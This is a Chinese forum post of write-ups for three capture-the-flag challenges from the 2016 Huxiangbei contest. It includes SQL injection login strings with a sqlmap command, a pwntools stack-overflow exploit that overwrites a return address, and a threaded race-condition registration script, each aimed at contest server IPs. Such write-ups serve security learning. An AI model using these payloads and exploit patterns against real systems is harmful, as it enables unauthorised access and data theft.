湖湘杯2016 几个题目的解题思路分享
祝贺新论坛投入使用,体验一下新论坛发帖功能
以下解题过程是团队共同努力的结果:
1、 题目名MyBlog
解题思路、相关代码和Flag截图:
解题思路
用户登录处存在注入,测试语句
admin' and exists(select * from flag) and '1'='1
admin
此方法验证数据库中存在flag表,程序会把该内容在cookies赋值
相关代码和Flag截图:
sqlmap可获得表及其他内容(保存post数据为hxbweb1.txt)
sqlmap -r "hxbweb1.txt" --technique=u --tables
在登录处提交注入语句可获得flag
username=aasd'+union+select+'1',flag,'3'+from+flag+--&password=admin&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
可获得flag

2、 题目名 Pwnme
解题思路、相关代码和Flag截图:
直接将文件拖进IDA
代码量不大,到处翻翻看看,看到有处输入水果名的代码:
仔细一看是栈溢出漏洞

我们看到v1 分配的空间大小是0xa4 也就是164字节
然后对输入的水果名称没有任何限制 直接放到了V1指向的空间
这就是一个非常基本的教科书式溢出漏洞
我们构造 168字节数据刚好覆盖EBP 后面的内容就会覆盖返回地址
翻了翻代码 发现IDA 有个函数:

看代码的功能 只要执行了这个函数 就会输出flag
看了下函数地址是0x8048677
在代码段 地址都是一样的 所以服务端也可以用这个地址
然后我们就用该地址 覆盖溢出时候的返回地址 就可以执行getflag这个函数得到答案了
构造payload= passexp='A'*168+p(0x8048677)+'B'*208
完整的利用代码:
#!python
#!/usr/bin/python
from pwn import *
import time
context.log_level = 'DEBUG'
r = remote('114.215.43.119', '10001')
r.recvuntil('Please input your choice:')
r.sendline('5')
r.recvuntil('Please input the name of fruit:')
passexp='A'*168+p(0x8048677)+'B'*208
r.sendline(passexp)
r.interactive()
flag截图:

3、 题目名 ASCII字符图库
解题思路、相关代码和Flag截图:
网页有个login.php register.php 后面加.bak访问发现可以直接下载代码:
我们看login.php 有代码如下:

可以看到 当用户名密码正确登录的时候 如果参数isRestricted 为0 就会打开叫flag的文件,猜测可以显示flag。
下面就要想办法 注册一个用户 而且让isRestricted 为0
接着我们看看注册文件的代码:
注册时候首先插入了 用户名 和密码 接着 查询用户名ID 插入isRestricted参数 为1
我们得想办法让这句insert执行失败 这样 我们注册的用户 isRestricted 就更新失败就变为0了。
这时想到的办法就是多线程并发注册同一个用户名,这样 在执行insert isRestricted的时候,这个用户名已经有很多个ID了,执行select users.id 这句时候返回多个结果,导致整条语句执行失败,这样就到达了目的。
漏洞利用代码:
import requests
import threading
def register(username, password):
url = 'http://106.14.79.226/register.php'
data = {'username':username, 'password':password}
try:
req = requests.post(url, data=data, timeout=3)
except:
pass
if __name__=="__main__":
pool = []
for i in xrange(2):
pool.append(threading.Thread(target=register, args=('hopex','000000')))
for t in pool:
t.start()
for t in pool:
t.join()
这样注册了一个hopex的用户 ,登录后就显示了flag
flag截图

